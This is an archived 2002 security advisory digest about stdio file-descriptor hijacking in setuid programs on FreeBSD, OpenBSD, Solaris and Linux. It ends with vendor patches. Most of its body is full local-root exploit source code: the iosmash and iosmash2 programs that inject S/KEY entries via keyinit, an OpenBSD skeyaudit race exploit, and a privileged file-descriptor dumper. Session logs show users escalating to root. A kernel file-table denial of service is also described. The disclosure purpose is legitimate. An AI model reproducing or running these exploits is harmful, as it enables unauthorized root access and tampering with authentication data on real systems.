|
COMMAND Posix standard input/ouput/error (stdio,stderr) hijacking gives local root SYSTEMS AFFECTED At least Solaris 2.5.1-2.5.8 All releases of FreeBSD up to and including 4.5 prior to this date (23 April 2002) OpenBSD 3.0 PROBLEM Thanks to Joost Pol [http://www.pine.nl], James Youngman and Theo de Raadt findings, in FreeBSD security [FreeBSD-SA-02:23.stdio] advisory : By convention, POSIX systems associate file descriptors 0, 1, and 2 with standard input, standard output, and standard error, respectively. Almost all applications give these stdio file descriptors special significance, such as writing error messages to standard error (file descriptor 2). In new processes, all file descriptors are duplicated from the parent process. Unless these descriptors are marked close-on-exec, they retain their state during an exec. All POSIX systems assign file descriptors in sequential order, starting with the lowest unused file descriptor. For example, if a newly exec'd process has file descriptors 0 and 1 open, but file descriptor 2 closed, and then opens a file, the new file descriptor is guaranteed to be 2 (standard error). Some programs are set-user-id or set-group-id, and therefore run with increased privileges. If such a program is started with some of the stdio file descriptors closed, the program may open a file and inadvertently associate it with standard input, standard output, or standard error. The program may then read data from or write data to the file inappropriately. If the file is one that the user would normally not have privileges to open, this may result in an opportunity for privilege escalation. Local users may gain superuser privileges. It is known that the `keyinit' set-user-id program is exploitable using this method. There may be other programs that are exploitable. Joost Pol [http://www.pine.nl] adds : Consider the following (imaginary) suid application: -- begin of imaginary code snippet FILE * f = fopen("/etc/root_owned_file", "r+"); if(f) { fprintf(stderr, "%s: fopen() succeededn", argv[0]); fclose(f); } -- end of imaginary code snippet Now, consider the following (imaginary) exploit: -- begin of imaginary exploit snippet while(dup(1) != -1); close(2); execl("/path/to/suid_application", "this text will endup in the root_owned_file", 0); -- end of imaginary exploit snippet Exploitation has been confirmed using the S/KEY binaries. Bert hubert [http://ds9a.nl] adds : Here is a simple test, executing a setuid process with filedescriptor 2 closed, and then opening a file and seeing what fd it gets. For further tests, 'outer' might try to exhaust *all* available filedescriptors except 0, 1 or 2. begin 644 setuid-fd-2.tar.gz M'XL(`"5PQ#P``^V6;6O;,!#'[;Z%+>T`Z<DL>S8,63K8+1]V15"80P&0['E MV-21@B4W"V/??2?GH>Y(ES=I2IE^!"*=I-/YI/_9BNLJ3WIITO/=U@M!:>!' M88C_U(M"VOS?T*)1,/1HA%,'+>IYOA^T('RI@)I42K,2H,6RZI_S]HV_453C M_&_8/4_S@A]Z#^I1.@R"Y_?W(WZ_(<ACN!?SC$Z>'#F07__GYLZ(8@:PT M+R$7@I>$Q`5G8D1.RAGTTJ=#KQVLY>`T]3^^_GQU<WWX/?;I/QKZC?KO&_U[ M=&#U?PS&E8`9UOTN,)&`SOBJ"ZHJ.7:9AKY;JQ]R!7(A>`*3)912ZGK!ZOK4 M_1$A?7=5+DQ*M=JL[,(BR^,,=)ES!5J"G.,N+M>Q.V=*+7`Y9XF[*'.-84PJ M#8GDB@C<HK:9);GN$W)6AT:($V=,3&N[V;A#R"G$&0:WBFN];6V<R01H@!? M6RMQDE+.8<+B>^-`2-%;.SF#=?SDLI`J%U-($_#))99(T^$_>0RI++>>;O$Q M,!V['V2$BR&A-QEF+=<)'G,M'EZD]&EK(!A>K_<WL%#5:`O-BEXG^"*GK=K MHPE'!C,<DPLGHVL2LC8@S$)J4S^4V46^]MU-SDKR+>U'_]6/WXX'=LG_[# M0;!Y_T>A%QC]AYYG]7,3G,1%Q5>KX]JJ5R]G'/5SSZ1IV9,D7YJ36.A"V,B MN=!X/W/AF`8KIW$798<9/3_'SD.'_"(`9@COI]&]TV[HI=V]_3&^^CKN?#"3 M4@?G7'@=;)^4>"U+`=0,X&]>HHO4:>^7W/ODNVAWL;7Q.>6:XPUW.L;OHZ=O M:VF8*F/TWX5ME3.FE2S05>V&%XIOXO-W^WF4V+O5JM]OXW.IJ?^Z^+V"_@?A M5O]A%*ST/XBL_H_!HZ0K@:^7I-;T48K"1D'-E^U&<#':N./7[>V9][#6Y&B MO7#::RO6@$:3UH)[5Q;+!:+Q6*Q6"P6B5BL5@L%HO%<BS^`.,,CT`*``` ` end 765 bytes KF [http://www.phased.home.ro/iosmash.c] keyinit exploit : /* phased/b10z phased@snosoft.com 23/04/2002 stdio kernel bug in All releases of FreeBSD up to and including 4.5-RELEASE decided to make a trivial exploit to easily get root :) > id uid=1003(phased) gid=999(phased) groups=999(phased) > ./iosmash Adding phased: <--- HIT CTRL-C ---> > su s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM xes# this program makes the following skeys valid 95: CARE LIVE CARD LOFT CHIC HILL 96: TESS OIL WELD DUD MUTE KIT 97: DADE BED DRY JAW GRAB NOV 98: MASS OAT ROLL TOOL AGO CAM 99: DARK LEW JOLT JIVE MOS WHO http://www.snosoft.com cheers Joost Pol */ #include <stdio.h> #include <unistd.h> int main(int argc, char *argv[]) { while(dup(1) != -1); close(2); execl("/usr/bin/keyinit", "nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03n"); } Phased adds (25 April 2002) : Some commented i used su to gain root, however skeys is used via all auth methods, i.e. telnet so you could change the user to someone in wheel, havent used skeys via ssh but i presume it works. root isn't allowed to telnet by default but usually can ssh, but if the box has people in the wheel group you can change the root to any user in the exploit to log in via skeys as that user. Welcome to FreeBSD! > id uid=1000(d0tslash) gid=1000(d0tslash) groups=1000(d0tslash) > > grep wheel /etc/group wheel:*:0:root,akt0r-root,misterx > > perl -pi -e 's/root /misterx /g' iosmash.c > gcc -o iosmash.c iosmash >./iosmash Adding d0tslash: <--- HIT CTRL-C ---> > grep 98 iosmash.c s/key 98 snosoft2 98: MASS OAT ROLL TOOL AGO CAM "nmisterx 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:0 3n"); > su misterx s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM %pwd /usr/home/d0tslash %id uid=1001(misterx) gid=1001(misterx) groups=1001(misterx), 0(wheel), 1006(cvsusers) %cd ~ %grep "root " iosmash.c decided to make a trivial exploit to easily get root :) "nroot 0099 snosoft2 6f648e8bd0e2988a Apr 23,2666 01:02:03n"); %gcc -o iosmash iosmash.c %./iosmash Updating misterx: Old key: snosoft2 <--- HIT CTRL-C ---> %su s/key 98 snosoft2 Password:MASS OAT ROLL TOOL AGO CAM xes# Update (06 May 2002) ====== Linux is also vulnerable, at least to the extent of bypassing files ACL : Paul Starzetz adds : I don't think there was enough research on open file descriptor problems. For example, I found this small bug while playing yround with crontab on Linux: gcc cronread.c -o cronread export VISUAL=/bin/vi crontab -e <:sh> escape to shell ./cronread 0000 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/0 dump (y/n) n 0001 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/1 dump (y/n) n 0002 iz OPEN st_uid 24129 st_gid 5 PATH /dev/pts/15/fd/2 dump (y/n) n 0003 iz OPEN st_uid 0 st_gid 0 PATH /var/spool/cron/deny dump (y/n) y --- DUMPING /var/spool/cron/deny --- guest gast --- 0005 iz OPEN 0006 iz OPEN ls -l /var/spool/cron/deny -rw------- 1 root root 11 Oct 25 2001 /var/spool/cron/deny So I'm able to read a privileged system file using this technique :-> Not necessary to mention the consequences of inheriting such a fd open for writing. More effort must be put to investigate this problem in current Linux/Unix suid/setgid binaries. have fun with the attached source. /ih Content-Type: text/plain; name="cronread.c" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="cronread.c" /**************************************************************** * * * insecure FD seeker * * by IhaQueR '2002 * * * ****************************************************************/ #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/types.h> #include <sys/stat.h> #include <linux/limits.h> #define TMPLEN 1024 void dumpfd(int fd, char *name) { int r; char c=13; r = lseek(fd, 0, SEEK_SET); if(r == (off_t)-1) { perror("lseek"); return; } printf("n--- DUMPING %s ---nn", name); do { r = read(fd, &c, sizeof(c)); if(r>0) { printf("%c", c); } } while(r>0); printf("nn---"); fflush(stdout); } int main() { int i, r, f; uid_t uid; gid_t gid; struct stat st; char buf[TMPLEN]; uid = getuid(); gid = getgid(); for(i=0; i<NR_OPEN; i++) { r = fstat(i, &st); if(!r) { printf("n%.4d iz OPEN", i); if(st.st_uid != uid || st.st_gid != gid) { printf("tst_uid %dtst_gid %d", st.st_uid, st.st_gid); snprintf(buf, sizeof(buf)-1, "/proc/%d/fd/%d", getpid(), i); buf[sizeof(buf)-1] = 0; readlink(buf, buf, sizeof(buf)-1); buf[sizeof(buf)-1] = 0; printf("tPATH %s ", buf); printf("tdump (y/n) "); r = getchar(); if(r == 'y') dumpfd(i, buf); getchar(); } } } printf("nn"); fflush(stdout); return 0; } Update (10 May 2002) ====== FozZy from Hackademy and Hackerz Voice newspaper [http://www.hackerzvoice.org] found manage to exploit this on OpenBSD 3.0 : On current OpenBSD systems, any local user (being or not in the wheel group) can fill the kernel file descriptors table, leading to a denial of service. Because of a flaw in the way the kernel checks closed file descriptors 0-2 when running a setuid program, it is possible to combine these bugs and earn root access by winning a race condition. As described before closing file descriptors 0, 1 and/or 2 before exec'ing a setuid program can make this program open files under these fds, which have special meanings for libc (stdin/out/err). Reading or writing to root-owned files can be made possible, since stdXX==opened_file. Since 1998, there is a check in the OpenBSD kernel, intended to prevent this: in the execve function, if fd 0, 1 or 2 is closed, then it is opened as a new file descriptor assigned to /dev/null. Then, the setuid program can be safely executed. But, unlike the FreeBSD and NetBSD patch (and unlike what does linux in glibc), if there is a failure here, we break out of the current loop and the execve goes on (it should fail: this was pointed out by art in the comments of the code, but not fixed). ------------- In sys/kern/kern_exec.c, in the loop where the kernel tries to open /dev/null on closed fd 0->2: (...) if ((error = falloc(p, &fp, &indx)) != 0) break; (...) ------------- This can be exploited by a local user to gain root ! An attacker can win a race condition with respect to the system file descriptors table: 1) Fill the kernel file descriptors table (see the "local DoS" explanation). 2) Execute a setuid prog with (for instance) fd number 2 closed. In the execve kernel function, fd number 2 will not be opened to /dev/null because the falloc will fail. So, the setuid program will be run with fd 2 closed. 3) Quickly close some fd in order to allow the program to run correctly (ld.so needs free file descriptors, and so does the setuid program). Step 3 timing is crucial: if too early, /dev/null will be assigned to fd 2. If too late, the suid prog execution will fail. But I found that, by tuning a simple "for" loop, the good timing is quite easy to meet... Exploit ======= I exploited successfully this vulnerability on OpenBSD 3.0, and became root from luser using the setuid-root program "/usr/bin/skeyaudit". The trick is to put the line we want to insert in /etc/skeyskey into argv[0], with new line tags, when running skeyaudit. Any entry for the local user must be removed first, so skeyaudit will complain on stderr, printing its "filename" (argv[0]) and some error text. If /etc/skeyskey is opened on fd number 2, we won. /* fd_openbsd.c (c) 2002 FozZy <fozzy@dmpfrance.com> Local root exploit for OpenBSD up to 3.1. Do not distribute. Research material from Hackademy and Hackerz Voice Newspaper (http://www.hackerzvoice.com) For educational and security audit purposes only. Try this on your *own* system. No warranty of any kind, this program may damage your system and your brain. Script-kiddies, you will have to modify one or two things to make it work. Usage: gcc -o fd fd_openbsd.c ./fd su -a skey */ #include <unistd.h> #include <stdio.h> #include <sys/types.h> #include <sys/time.h> #include <sys/resource.h> #include <errno.h> #include <fcntl.h> #define SUID_NAME "/usr/bin/skeyaudit" #define SKEY_DATA "nr00t md5 0099 qwerty 545a54dde8d3ebd3 Apr 30,2002 22:47:00n"; extern int errno; int main(int argc, char **argv) { char *argvsuid[3]; int i, n; int fildes[2]; struct rlimit *rlp; rlp = (struct rlimit *) malloc((size_t) sizeof(rlp)); if (getrlimit(RLIMIT_NOFILE, rlp)) perror("getrlimit"); rlp->rlim_cur = rlp->rlim_max; /* we want to allocate a maximum number of fd in each process */ if (setrlimit(RLIMIT_NOFILE, rlp)) perror("setrlimit"); n=0; open(SUID_NAME, O_RDONLY, 0);/* is it useful ? allocate this file in the kernel fd table, for execve to succeed later*/ while (n==0) { for (i=4; i<=rlp->rlim_cur; i++) /* we start from 4 to avoid freeing the SUID_NAME buffer, assuming its fd is 3 */ close(i); i=0; while(pipe(fildes)==0) /* pipes are the best way to allocate unique file descriptors quickly */ i++; printf("Error number %d : %sn", errno, (errno==ENFILE) ? "System file table full":"Too many descriptors active for this process"); if (errno==ENFILE) { /* System file table full */ n = open("/bin/pax", O_RDONLY, 0); /* To be sure we don't miss one fd, since a pipe allocates 2 fds or 0 if failure */ fprintf(stderr, "Let's exec the suid binary...n"); fflush(stderr); if ((n=fork())==-1) { perror("last fork failed"); exit(1); } if (n==0) { for (i=3; i<=rlp->rlim_cur; i++) close(i); /* close all fd, we don't need to fill the fd table of the process */ argvsuid[0]=SKEY_DATA; /* we put the data to be printed on stderr as the name of the program */ argvsuid[1]="-i"; /* to make skeyaudit fail with an error */ argvsuid[2]=NULL; close(2); /* let the process exec'ed have stderr as the *first* fd free */ execve(SUID_NAME, argvsuid, NULL); perror("execve"); exit(1); } else { for (i=0; i<2000000; i++) /* Timing is crucial : tune this to your own system */ ; for (i=4; i<=100; i++) /* free some fd for the suid file to execute normally (ld.so, etc.) */ close(i); sleep(5); for (i=3; i<=rlp->rlim_cur; i++) close(i); exit(0); } } else { /* process table full, let's fork to allocate more fds */ if ((n=fork()) == -1) { perror("fork failed"); exit(1); } } } printf("Number of pipes opened by parent: %dn",i); sleep(5); for (i=3; i<=rlp->rlim_cur; i++) close(i); fprintf(stderr,"Exiting...n"); exit(0); } Update (14 August 2002) ====== noconflic [nocon@texas-shooters.com] kindly sent us an update to iosmash : /* * Systems affected: FreeBSD <= 4.6 * * Credit: * ---------------------------------------------- * Advisory: * http://www.guninski.com/freebsd2.html * * ----------------------------------------------- * * Skey stuffage: * ----------------------------------------------- * phased/b10z * phased@snosoft.com * * this program makes the following skeys valid * * 95: CARE LIVE CARD LOFT CHIC HILL * 96: TESS OIL WELD DUD MUTE KIT * 97: DADE BED DRY JAW GRAB NOV * 98: MASS OAT ROLL TOOL AGO CAM * 99: DARK LEW JOLT JIVE MOS WHO * * ------------------------------------------------- * * This will allow you to su to any user. * * [nocon] > id * uid=1002(nocon) gid=1002(nocon) groups=1002(nocon) * [nocon] > grep wheel /etc/group * wheel:*:0:root,stpstone * [nocon] > /tmp/iosmash2 stpstone * Adding nocon: * <--- HIT CTRL-C ---> * [nocon] > su stpstone * s/key 98 iosmash2 * Password: MASS OAT ROLL TOOL AGO CAM * [/home/nocon]: id * uid=1001(stpstone) gid=1001(stpstone) groups=1001(stpstone), 0(wheel) * [/home/nocon]: /tmp/iosmash2 root * Adding stpstone: * <--- HIT CTRL-C ---> * [/home/nocon]: su * s/key 98 iosmash2 * Password: MASS OAT ROLL TOOL AGO CAM * [/home/nocon]# id * uid=0(root) gid=0(wheel) groups=0(wheel), 2(kmem), 3(sys), 4(tty), 5(operator), 20(staff), 31(guest) * [/home/nocon]# * * * - noconflic * 31 July 2002 * */ #include <stdio.h> #include <fcntl.h> int main(int argc,char *argv[]) { FILE * f; char skey[] = {" 0099 iosmash2 6f648e8bd0e2988a Apr 23,2666 01:02:03\n"}; char *user; char buff[100]; if (argc != 2) { printf("------------------------------------------------\n"); printf("FreeBSD <= 4.6 kernal file descriptor exploit\n-noconflic\n"); printf("------------------------------------------------\n"); printf("Usage: %s <username>\n",argv[0]); exit(1); } user = argv[1]; strcpy(buff,"\n"); strcat(buff,user); strcat(buff,skey); buff[100] = '\0'; while( ((int )f=dup(1)) != -1); close(2); close(3); (int )f=open("/proc/curproc/mem",O_WRONLY); if ((int )f==-1) fprintf(stdout,"Error in open /proc\n"); execl("/usr/bin/keyinit",buff,0); return(0); } SOLUTION FreeBSD : ========= Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch # fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-02:23/stdio.patch.asc Update (31 July 2002) ===================== The original correction for this problem (corresponding to the first revision of this advisory) contained an error. Systems using procfs or linprocfs could still be exploited. The dates for the original, incomplete correction were: Corrected: 2002-04-21 13:06:45 UTC (RELENG_4) 2002-04-21 13:08:57 UTC (RELENG_4_5) 2002-04-21 13:10:51 UTC (RELENG_4_4) OpenBSD : ========= The following patches are available: OpenBSD-3.1: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.1/common/003_fdalloc2.patch OpenBSD-3.0: ftp://ftp.openbsd.org/pub/OpenBSD/patches/3.0/common/021_fdalloc2.patch OpenBSD-2.9: ftp://ftp.openbsd.org/pub/OpenBSD/patches/2.9/common/026_fdalloc2.patch OpenBSD-current as well as the OpenBSD 2.9, 3.0 and 3.1 -stable branches have already been patched. Increasing kern.maxfiles and lowering the local users hard limits (both number of processes and opened files per process) could be a workaround to the DoS problem.